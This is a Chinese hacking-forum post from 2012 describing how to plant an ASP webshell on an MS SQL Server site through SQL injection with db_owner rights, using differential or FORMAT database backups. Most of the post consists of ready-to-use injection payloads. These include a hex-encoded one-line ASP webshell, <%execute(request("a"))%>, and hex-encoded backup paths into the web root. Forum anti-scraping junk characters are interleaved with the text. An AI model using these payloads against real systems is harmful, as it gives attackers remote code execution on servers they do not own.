找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
6 z8 D7 c$ p5 t0 c# `# B; f  v  V6 \& f# v2 E; B! w
减少备份文件大小,得到可执行的webshell成功率提高不少4 _( X& `0 n+ w  E+ p
一利用差异备份
9 Z8 N; Q9 g3 l6 q' o加一个参数WITH DIFFERENTIAL
0 r( b4 K$ p7 I! S2 y; T0 ]3 C' L# `1 J0 d& U; \8 {
1- g  b- O9 v3 v9 `+ c
2& p: G! u% n, U4 o  q
3
0 \7 z( U" W( W+ A! k- g4  p0 }1 y, \) `2 ]& b$ [6 B2 p
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 b  ^6 ^: i4 }7 Ccreate table [dbo].[xiaolu] ([cmd] [image]);  \( k0 D( M2 q  V' V1 `
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 o* m4 D, N( D5 {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
, H1 q( X8 q' V# L$ v6 C7 E
' @- ?' Q7 w2 h/ H, [! P  l二利用完全FORMAT3 j' o* @* R' U4 B* z2 Q) D
加一个参数WITH FROMAT% _" d' C) X( I, ]1 @/ \  f& @
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以5 T3 f3 K+ M) v! {8 O7 [1 P3 E/ k
0 R9 q6 |/ N! _1 L2 g
1
" W1 h4 Q9 j2 |# D3 ?2
+ g: H' a" c0 T& ~3
9 ?# |3 V2 L7 ^2 `: Q5 C) R( A49 O8 l$ j+ m; J6 [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 l, K" s7 I; X( h* C& F' s' {create table [dbo].[xiaolu] ([cmd] [image]);
# T$ T! R! }1 J$ L* @) xinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 T" o; G) A# {! R5 r8 Ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 5 n$ H; v/ |1 Y; }9 t; }( _

+ |, [% o% x0 V& n总的来说就是那么简单几句,下面以备份数据库model为例子
$ w( k1 f$ _' g( [1
: ~) n! t% d& p' X, f7 Y! t  D. w7 Z2 d7 o5 @0 M  J# f
16 o( `7 R# F0 j+ R% |- u
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 0 ]- ?- x0 ]8 R1 @9 ?

* I6 N8 L  M9 x+ W9 k( c2
4 J. ]1 ]( j' j% Y$ b9 h. a6 m( T" p1 x1 N) y! R+ m8 D
1
6 k) B1 L8 ]2 g% J3 Y id=1;backup database model to disk='你的路径‘ with differential,format;--
1 q$ F3 l. y& _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表